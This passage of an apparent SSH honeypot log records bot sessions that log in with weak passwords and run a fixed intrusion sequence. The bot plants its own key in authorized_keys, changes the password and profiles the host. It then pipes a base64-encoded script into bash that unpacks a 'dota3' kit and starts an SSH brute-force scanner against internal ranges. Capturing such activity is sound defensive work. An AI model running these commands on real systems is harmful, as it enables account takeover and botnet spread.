/var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T21:15:56.988489+00:00","kind":"output","latency_ms":638,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T21:15:57.625177+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T21:15:58.261669+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T21:15:58.777352+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-25T21:15:59.417345+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T21:15:59.980179+00:00","kind":"output","latency_ms":563,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-25T21:16:00.618272+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T21:16:01.081113+00:00","kind":"output","latency_ms":462,"data":""},{"seq":47,"at":"2026-08-25T21:16:09.536420+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T21:16:09.536850+00:00","kind":"output","latency_ms":null,"data":"prova"}],"credentials":[{"username":"prova","password":"provaprova","method":"password","accepted":true,"tier":"other"}]} {"id":"226ca8b8-8952-4e81-9e49-94cbe42a94be","name":"leafy-curious-avocet","protocol":"ssh","channel_kind":"exec","src_ip":"179.176.210.17","src_port":45675,"username":"andrew","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":438,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T21:14:31.390603+00:00","ended_at":"2026-08-25T21:14:31.522244+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3935,"events":[{"seq":1,"at":"2026-08-25T21:13:54.590493+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T21:13:55.029017+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T21:13:59.401701+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T21:13:59.402250+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T21:13:59.840051+00:00","kind":"input","latency_ms":null,"data":"echo -e \"andrew\\n0SqW1pG0SlYr\\n0SqW1pG0SlYr\"|passwd|bash"},{"seq":6,"at":"2026-08-25T21:14:00.276475+00:00","kind":"input","latency_ms":null,"data":"echo \"andrew\\n0SqW1pG0SlYr\\n0SqW1pG0SlYr\\n\"|passwd"},{"seq":7,"at":"2026-08-25T21:14:00.715205+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T21:14:00.715964+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T21:14:01.152808+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T21:14:01.825698+00:00","kind":"output","latency_ms":672,"data":"15888 2890 12997 0 1498 0"},{"seq":11,"at":"2026-08-25T21:14:02.268080+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T21:14:03.137813+00:00","kind":"output","latency_ms":872,"data":"-rwxr-xr-x 1 root root 142K Jan 23 2025 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T21:14:03.575442+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T21:14:03.576315+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T21:14:04.015628+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T21:14:04.016379+00:00","kind":"output","latency_ms":null,"data":" 21:14:04 up 5 days, 18:04, 0 user, load average: 0.06, 0.08, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T21:14:04.453525+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T21:14:04.454317+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T21:14:04.892007+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T21:14:04.892708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T21:14:05.330503+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T21:14:05.331880+00:00","kind":"output","latency_ms":null,"data":"top - 21:14:05 up 5 days, 18:04, 0 user, load average: 0.06, 0.08, 0.06\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T21:14:05.770272+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T21:14:05.770748+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T21:14:06.209052+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T21:14:06.209681+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T21:14:06.646530+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T21:14:06.647278+00:00","kind":"output","latency_ms":null,"data":"andrew"},{"seq":29,"at":"2026-08-25T21:14:07.085156+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T21:14:08.314210+00:00","kind":"output","latency_ms":1227,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T21:14:08.752291+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T21:14:09.429661+00:00","kind":"output","latency_ms":676,"data":"25G"},{"seq":33,"at":"2026-08-25T21:14:10.861390+00:00","kind":"input","latency_ms":null,"data":"echo \"andrew andrew\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T21:14:11.298569+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T21:14:11.733111+00:00","kind":"output","latency_ms":433,"data":""},{"seq":36,"at":"2026-08-25T21:14:12.796676+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T21:14:17.572734+00:00","kind":"output","latency_ms":4774,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-25T21:14:18.010158+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T21:14:19.387813+00:00","kind":"output","latency_ms":1375,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T21:14:19.824544+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T21:14:20.261248+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T21:14:21.236381+00:00","kind":"output","latency_ms":973,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-25T21:14:21.676741+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T21:14:22.248503+00:00","kind":"output","latency_ms":573,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-25T21:14:22.688165+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T21:14:23.111328+00:00","kind":"output","latency_ms":422,"data":""},{"seq":47,"at":"2026-08-25T21:14:31.391088+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T21:14:31.391758+00:00","kind":"output","latency_ms":null,"data":"andrew"}],"credentials":[{"username":"andrew","password":"andrew","method":"password","accepted":true,"tier":"other"}]} {"id":"bd34f6e4-d94b-47d5-accb-f6619a1343f5","name":"jovial-velvet-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"172.191.239.155","src_port":40632,"username":"noah","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":71,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T20:08:25.924409+00:00","ended_at":"2026-08-25T20:08:25.932797+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3738,"events":[{"seq":1,"at":"2026-08-25T20:08:07.665396+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T20:08:07.735746+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T20:08:10.588369+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T20:08:10.588745+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T20:08:10.666449+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\n6k2WSO9WN24b\\n6k2WSO9WN24b\"|passwd|bash"},{"seq":6,"at":"2026-08-25T20:08:10.735713+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\n6k2WSO9WN24b\\n6k2WSO9WN24b\\n\"|passwd"},{"seq":7,"at":"2026-08-25T20:08:10.806051+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T20:08:10.806692+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T20:08:10.876411+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T20:08:11.390381+00:00","kind":"output","latency_ms":513,"data":"15888 4634 6724 1661 2893 1790"},{"seq":11,"at":"2026-08-25T20:08:11.476221+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T20:08:12.067087+00:00","kind":"output","latency_ms":589,"data":"-rwxr-xr-x 1 root root 151K Apr 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T20:08:12.137199+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T20:08:12.137894+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-25T20:08:12.207898+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T20:08:12.208365+00:00","kind":"output","latency_ms":null,"data":" 20:08:12 up 5 days, 16:58, 0 user, load average: 0.05, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T20:08:12.286573+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T20:08:12.287101+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T20:08:12.357600+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T20:08:12.357960+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T20:08:12.426351+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T20:08:12.427259+00:00","kind":"output","latency_ms":null,"data":"top - 20:08:12 up 5 days, 16:58, 0 user, load average: 0.05, 0.05, 0.04\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T20:08:12.506329+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T20:08:12.507258+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T20:08:12.576554+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T20:08:12.577084+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T20:08:12.646347+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T20:08:12.647119+00:00","kind":"output","latency_ms":null,"data":"noah"},{"seq":29,"at":"2026-08-25T20:08:12.717552+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T20:08:13.703514+00:00","kind":"output","latency_ms":985,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T20:08:13.777193+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T20:08:14.202855+00:00","kind":"output","latency_ms":424,"data":"25G"},{"seq":33,"at":"2026-08-25T20:08:14.668010+00:00","kind":"input","latency_ms":null,"data":"echo \"noah password\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T20:08:14.738870+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T20:08:14.937374+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-25T20:08:15.220655+00:00","kind":"output","latency_ms":482,"data":""},{"seq":37,"at":"2026-08-25T20:08:15.506017+00:00","kind":"output","latency_ms":567,"data":"noah password"},{"seq":38,"at":"2026-08-25T20:08:15.577363+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T20:08:16.036813+00:00","kind":"output","latency_ms":459,"data":""},{"seq":40,"at":"2026-08-25T20:08:16.108693+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T20:08:16.177643+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T20:08:16.931460+00:00","kind":"output","latency_ms":753,"data":"1"},{"seq":43,"at":"2026-08-25T20:08:17.007700+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T20:08:17.627233+00:00","kind":"output","latency_ms":619,"data":"1"},{"seq":45,"at":"2026-08-25T20:08:17.699442+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T20:08:18.127741+00:00","kind":"output","latency_ms":427,"data":""},{"seq":47,"at":"2026-08-25T20:08:25.925516+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T20:08:25.926135+00:00","kind":"output","latency_ms":null,"data":"noah"}],"credentials":[{"username":"noah","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"97698eff-26fd-483a-afc7-fc2c4f06b0dc","name":"ancient-tranquil-addax","protocol":"ssh","channel_kind":"exec","src_ip":"185.158.22.150","src_port":32670,"username":"mega","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":518,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T20:00:52.318042+00:00","ended_at":"2026-08-25T20:00:52.476609+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3539,"events":[{"seq":1,"at":"2026-08-25T20:00:17.119677+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T20:00:17.634743+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T20:00:23.197140+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T20:00:23.197887+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T20:00:23.714472+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nEh1eHS9VWk2a\\nEh1eHS9VWk2a\"|passwd|bash"},{"seq":6,"at":"2026-08-25T20:00:24.231832+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nEh1eHS9VWk2a\\nEh1eHS9VWk2a\\n\"|passwd"},{"seq":7,"at":"2026-08-25T20:00:24.748991+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T20:00:24.749608+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T20:00:25.267500+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T20:00:26.226548+00:00","kind":"output","latency_ms":958,"data":"15888 4120 9321 174 2545 0"},{"seq":11,"at":"2026-08-25T20:00:26.744140+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T20:00:27.645732+00:00","kind":"output","latency_ms":901,"data":"-rwxr-xr-x 1 root root 151K Aug 20 03:12 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T20:00:28.163861+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T20:00:28.164503+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-25T20:00:28.683018+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T20:00:28.683602+00:00","kind":"output","latency_ms":null,"data":" 20:00:28 up 5 days, 16:50, 0 user, load average: 0.03, 0.02, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T20:00:29.203223+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T20:00:29.203576+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T20:00:29.721786+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T20:00:29.722163+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T20:00:30.240442+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T20:00:30.240953+00:00","kind":"output","latency_ms":null,"data":"top - 20:00:30 up 5 days, 16:50, 0 user, load average: 0.03, 0.02, 0.03\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T20:00:30.759477+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T20:00:30.760038+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T20:00:31.278891+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T20:00:31.279544+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 